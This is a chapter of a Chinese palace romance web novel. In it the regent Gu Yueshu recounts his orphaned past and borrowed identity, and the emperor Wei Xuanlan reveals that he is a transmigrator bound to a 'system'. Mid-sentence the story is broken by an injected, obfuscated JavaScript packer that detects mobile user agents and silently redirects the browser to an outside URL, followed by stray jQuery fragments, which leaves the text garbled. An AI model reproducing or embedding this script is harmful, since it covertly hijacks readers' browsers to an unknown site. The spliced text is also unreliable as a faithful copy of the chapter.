79.京都7

作品:《朕的皇位无人继承

    顾月舒走进院中在那两个泥塑大人偶面前蹲了下来,他看着他们目光悠远,似乎是想起了很愉悦的事,嘴角都勾起了笑意。


    “在我十六岁之前,我只是彰德小镇中一个普通家庭的小孩,父母恩爱,家庭和乐。我母亲是绣房的绣女,父亲是账房先生。我在镇里的私塾读书,不过我坐不住,老是开小差,下河摸鱼上山爬树倒是厉害,但学业就常年垫底,我娘总是跟我说,要好好念书,长大就算不考取功名,做个夫子也是极好的。


    但那时我从来没有放在心上,那时我的梦想是做个侠客,像话本子里一样,浪迹天涯,除暴安良。


    一直到十六岁那年,母亲给我谈了一门亲事,但我不想那么早成亲,赌气离家出走了。我跑到山上去躲了三天,要是平日父亲早就来找我了,但那时我在气头上竟然一点没觉得不正常,反而觉得他们狠心。


    三天后我下了山,才知道镇里来了一股流寇,他们烧杀抢夺无恶不作,我害怕极了,赶紧跑回家,却看见父母都倒在院中,血都凝了”


    顾月舒眼眶通红,他伸出手握住两个泥人的手,泥人还保持着笑意,他们看着顾月舒,又好像没有看他。


    “流寇在几个镇里乱窜,撞上了来彰德游玩的镇国公一家人,他们被流寇给冲散,十六岁的儿子不知所踪,随后朝廷派人来剿匪,但流寇绑了人质,又熟悉地形,整整僵持了两年,流寇才被消灭,我和许多无家可归的人被迫成了流民。


    十八岁那年,我发了一场高热,又冷又饿,脑子都不清楚了,我感觉我快要死掉了。我不想死在荒郊野外被野兽啃食,在我挖坑的过程中,挖到了一件很好的衣服,摸着就很温暖,我当即就把它穿上了。


    在醒来时我来到了一处很豪华的府邸,因为高热大脑受损我失忆了,一对很富贵的夫妇告诉我,他们是我的父母,而我是他们的孩子,我的名字叫做顾月舒,是镇国公的独子。


    因为失忆,他们为我请了许多老师,教什么的都有,上至天文下至地理,声乐古籍,闺阁情事。


    在我伤好后镇国公便安排我游走在各个皇子之间,得益于镇国公独子的身份,我在朝堂上如鱼得水,势力一日千里。先皇去世时,我竟然成了朝堂上唯一能左右局势的人。那一天我在后宫转了一整天,所有的皇子都往我身边靠,只有陛下您在树上摘果子。


    我走到树下喊你,你受了惊直直的落到我身上,你让我别骂你,然后讨好的拿出果子说请我吃,那时候我看见你清纯的眸子,很冲动的就选了你。


    在你登基后,我的记忆慢慢就恢复了。我与你相处的点点滴滴,让我感觉熟悉,但这种感觉又是我在镇国公府完全没有过的,直至我的记忆完全恢复,我才恍然意识到,初见时我看着你,其实也是看见了过去的我自己。


    再后来,何西淮来了。他很漂亮,你为他心动,这是我从没有设想过的,那时才我恍然觉察到镇国公的深谋远虑。能力与美色,如何才能平衡,可我一直把你当小孩子养,你让我用这么下作的手段,我实在做不到。


    陛下想收权,我愿意放手,但绝不能是何西淮。他会让这个国家万劫不复的,我绝不能让彰德的惨案发生第二次,何西淮的势力逐渐增大,我开始动摇了”


    顾月舒站了起来,他正对着卫玹览,脸色诚恳,“我找姑苏最好的绣娘仿着何西淮平日的穿着绣了一件绯色的外衫,十个绣娘整整绣了三个月,上面的每条纹路我都摸过上百遍,可我看见你眼里的厌恶,我想即便我穿了,也不会改变什么。


    彰德水患,何西淮要染指仅剩的六部,我不许他去,你给了他金牌又下了圣旨,我拦不住他。我们在勤政殿大吵了一架,你说我逾越犯上,不尊王法,你宁愿不当这个皇上,也要带着何西淮私奔。


    我当时气急了,下令把你关了起来,那三天我一直在想,要么我死,要么你死,我擦了无数次剑,可我谁也不敢杀。


    后来侍卫来报说陛下自尽了,听到消息的那一刻,我明明该欢喜,但我还是止不住的担心。可你没死,我还是不高兴。


    后来你说你失忆了,你记不得何西淮了,那一刻我想上天终于还是又眷顾了我一次”


    “陛下,我的使命已经完成了,我想回家”


    卫玹览伸出手擦着他脸上的泪,“你说完了,现在该我说了”


    顾月舒盈着一双水汪汪的眸子看着他,卫玹览细致的给他擦着眼泪,“上天有没有眷顾你我不知道,但上天一定是眷顾我的了。在你下令把卫玹览关起来的那一刻,他就死了,而我,是从异世穿越来的,或许你听着很离奇,但这事确实是真的,我脑子里有一个叫系统的东西,跟我做了交易让我来这儿做任务”


    卫玹览说着用食指指了指大脑,“我不是失忆了,是因为蛊虫压制的原因,系统读取不了原身的记忆,现在蛊虫引出来,记忆全都读出来了。顾月舒,上天从来没有眷顾你,是你一直在救你自己,一直在救这个国家。


    我不是真正的卫玹览,我永远不会喜欢穿红衣的何西淮,我喜欢的是你,不管绯衣,蓝衣还是别的,高冷的,热情的,是摄政王还是贫民小子,都不会影响”


    顾月舒哭着哭着就笑了出来,但笑又笑不久,就又哭了,“你知道我为什么喜欢穿蓝衣吗?”


    卫玹览抬头看向了天空,“你喜欢躺椅,喜欢蓝色,是因为你小时候父亲抱着你躺在躺椅上能看见的就是天空,你不是喜欢蓝色,你只是想家人了”


    顾月舒惊诧于他懂,卫玹览摩挲着他的脸,“二十九岁,还是跟十九岁一样”


    顾月舒低头笑了一下,“你的任务完成了吗?”


    卫玹览回道:“还差一点,不过或许永远也完成不了了”


    顾月舒诧异,“跟我有关吗?”


    对上他的视线,卫玹览笑了笑,“如果我说要你留下来,你愿意吗?”


    顾月舒眼里闪过挣扎,在他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351117|161598||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开口前卫玹览就捂住了他的嘴,“跟你没关系,去做你想做的事,不过在你走之前,能给我三天时间吗?”


    顾月舒回道:“我是打算三天后走的”


    骗子,他都看到他收拾好的行李了。不过卫玹览只在心里这样戳穿他,并没有真的说出来。


    卫玹览找来陶艺师,在每一个顾月舒的身边都塑了一个现代卫玹览。


    “看,异世的我就是这个样子的”


    顾月舒和卫玹览蹲在泥塑娃娃面前,顾月舒显然很感兴趣,聚精会神的看,“长得挺像的”


    卫玹览歪头碰着他的脑袋,“我更帅些”


    顾月舒眉目舒展了起来,“是更帅些”


    卫玹览给他介绍,“短袖,牛仔裤,书包,校服,还有手机..”


    顾月舒听得很认真,“很有意思”


    卫玹览抱着他的肩膀,“有机会的请你去玩”


    “可以吗?”


    卫玹览笑了起来,“不知道,我任务没做完,不知道积分够不够”


    顾月舒也听出来他只是在开玩笑,就跟着笑了下就算了。


    三天眨眼就过了,两人拉着手出门,走到门口的时候顾月舒回头看了一眼,眼中流露出不舍,卫玹览没有回头,只是静静的等着他。


    过了很久,顾月舒终于回了头,“走吧”


    两人相携着往前走,背后突然火光冲天,宅子猛地燃了起来,顾月舒又回头看,火光汹汹中他看到任霁奔跑的身影,他侧头看向了卫玹览,火光映着他的脸红通通的,连眸光都染上了红色。


    顾月舒明白了他的用意,他重新牵上了他的手,没有在回头。


    过去的就留在过去,所有人都要往前走。


    进了城,顾月舒说道:“我就不陪陛下进宫了”


    听着他告别的话,卫玹览的心里一阵一阵的揪着疼,但他还是笑着,“我去镇国公府瞧瞧,来了这么久,还没有好好跟镇国公好好说说话”


    这个时候突然去镇国公府,怎么听都不对劲,顾月舒眉头微蹙,“陛下有事?”


    卫玹览回道:“就是想去看看”


    顾月舒不好拦他,两人便一块去的,任霁前去通报,镇国公夫妇急急迎了出来,在看到顾月舒时明显一怔,他们得到的消息顾月舒已经回老家了,怎么还在?


    “参见陛下.呃.王爷”镇国公夫妇行礼。


    顾月舒正要解释,卫玹览就看到跟在他俩身后的男子,与镇国公确实有八分相像,“镇国公也学护国公把儿子养在寺庙里啊”


    “不.”顾月舒又要解释,卫玹览看向镇国公,神色不善,镇国公冷汗都快下来了,在官场浸染几十年,这点敏锐度还是有的,知道卫玹览是来给顾月舒撑腰的,连忙应承道:“是,小儿身体弱,自小养在外头,这几天才刚刚接回来”说着侧身与男子说道,“还不快见过哥哥”


    男子倒是爽快,上前拱手喊了声,“哥哥”